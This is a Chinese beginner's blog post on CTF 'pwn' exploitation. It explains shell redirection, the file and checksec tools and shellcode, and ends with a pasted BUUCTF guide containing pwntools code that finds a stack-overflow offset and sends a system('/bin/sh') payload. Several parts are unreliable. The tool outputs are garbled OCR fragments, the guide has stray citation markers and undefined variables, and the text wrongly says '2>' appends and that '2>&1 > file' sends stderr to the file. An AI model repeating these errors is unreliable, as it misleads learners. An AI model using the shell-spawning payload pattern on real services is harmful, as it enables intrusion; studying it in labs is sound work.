pwn入门


[注]重定向
当使用重定向符号时,你可以将命令的输出发送到不同的目标。以下是一些更详细的示例:
1将命令的输出重定向到一个文件:

1

echo "Hello, World!" > output.txt

这将把字符串 "Hello, World!" 写入到 output.txt 文件中。如果文件不存在,它将被创建;如果文件已存在,它的内容将被覆盖。
2将命令的输出追加到一个文件:

1

echo "Appending this line." >> output.txt

这将把字符串 "Appending this line." 追加到 output.txt 文件的末尾。如果文件不存在,它将被创建;如果文件已存在,新内容将被添加到文件末尾。
3将一个文件的内容作为命令的输入:

1

sort < input.txt

这将读取 input.txt 文件的内容,并将其作为 sort 命令的输入。sort 命令会按照字母顺序对输入进行排序并输出结果。
4将命令的输出通过管道传递给另一个命令:

1

cat file.txt | grep "example"

这个例子中,cat 命令会读取 file.txt 文件的内容,并通过管道将其传递给 grep 命令。grep 命令会搜索包含 "example" 的行,并将它们输出到终端。
5将错误输出重定向到一个文件:

1

command 2> error.txt

如果 command 产生了错误信息,这些信息将被写入到 error.txt 文件中。如果文件不存在,它将被创建;如果文件已存在,错误信息将被追加到文件末尾。
6将错误输出重定向到标准输出:

1

command 2>&1 > output.txt

这个例子中,command 的标准输出和错误输出都将被重定向到 output.txt 文件。这意味着无论是标准输出还是错误输出都会被写入同一个文件。
这些是重定向符号的一些常见用法,它们可以帮助你更好地控制命令行的输入和输出,以及处理错误信息。
[注]nc详解
1.file命令

1=4B1DF4D30F1D6B75666C64BED078473A4AD8E799,NOTSTRIPPED

WN1SCTF2016:ELF32-BITLSE

80386,VERSON1(S

2.624,BUI

image.png


1什么是file命令
file命令是一个常用的命令行工具,用于识别文件的类型。它通过检查文件的特征和魔术数字(magic number)来确定文件的类型。file命令可在大多数类 Unix 系统(例如 Linux 和 macOS)上使用。
2file语法
file [选项] 文件名
常用的选项包括:
●-b:仅显示文件类型,不显示文件名。
●-i:显示 MIME 类型。
●-m <魔术文件>:指定自定义的魔术文件,用于检测文件类型。
●-z:对压缩文件进行检测。

2.checksec命令

PIE(0X80480

CANARYFOUND

I386-32-1ITT1E

PARTIALRELRO

STRIPPED:

STACK:

ENABLED

RELRO:

PIE:

ARCH:

NX:

NX

NO

NO

image.png



3.pwn库使用
4.ida的简单使用
5.shellcode
1pwn的目的
a打开shell并打印里面的falg文件
b打开shell是需要运行shellcode的
2shellcode是啥
a

RETURNSYSTEM("/BIN/SH");

INTMAGIC(

image.png


b就长这样
3pwntools可以直接生成shellcode
a

### BUUCTF PWN 入门教程与解题方法 #### 一、PWN题目概述 PWN是一种CTF竞赛中的常见类别,主要涉及程序漏洞利用技术。BUUCTF平台提供了丰富的PWN练习题,适合初学者学习并掌握基本的漏洞挖掘和利用技巧[^1]。 #### 二、工具准备 在解决BUUCTF上的PWN题目之前,需要准备好必要的环境和工具: - **操作系统**: 推荐使用Ubuntu或Kali Linux作为实验环境。 - **编程语言**: Python是最常用的脚本编写语言,尤其是`pwntools`库可以极大简化payload生成和交互过程[^4]。 - **调试器**: 使用GDB进行动态分析,配合PEDA插件增强功能[^2]。 - **静态分析工具**: `checksec`用于查看目标可执行文件的安全特性设置情况。 #### 三、典型解题流程 以下是针对BUUCTF上简单PWN题目的通用解决方案框架: ##### 1. 静态分析 通过`file`命令确认目标文件类型及其架构;运用`strings`查找可能存在的敏感字符串;借助`readelf`, `objdump`等进一步了解ELF结构细节以及是否存在保护机制如NX, ASLR等[^3]。 ```bash $ file pwn1 $ strings pwn1 | grep win $ checksec pwn1 ``` ##### 2. 动态调试 启动GDB加载待测程序,在可疑位置设断点观察寄存器状态变化及内存布局状况。如果存在栈溢出,则尝试定位返回地址被覆盖的具体偏移量。 ```python from pwn import * context.log_level='debug' io = process('./pwn1') gdb.attach(io,"b *0x4011a6\nc") io.recvuntil('>') io.sendline(cyclic(1024)) io.wait() core = io.corefile stack = core.rsp offset = cyclic_find(stack) print(f"Offset is {offset}") ``` ##### 3. 构造Payload 基于前面获得的信息设计合适的载荷数据包送入服务端触发预期行为完成Flag获取操作。 ```python payload = flat({ offset: [ next(u.search(b'/bin/sh\x00')), elf.symbols['system'] ] }) p.sendlineafter('> ', payload) p.interactive() ``` 以上仅为理论模型展示,请根据实际遇到的不同类型的挑战灵活调整策略。 #### 四、注意事项 - 学习过程中注重理解原理而非机械模仿现有代码片段。 - 多加实践积累经验,逐步深入探索更复杂的攻击手法比如ROP链构造等等。
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值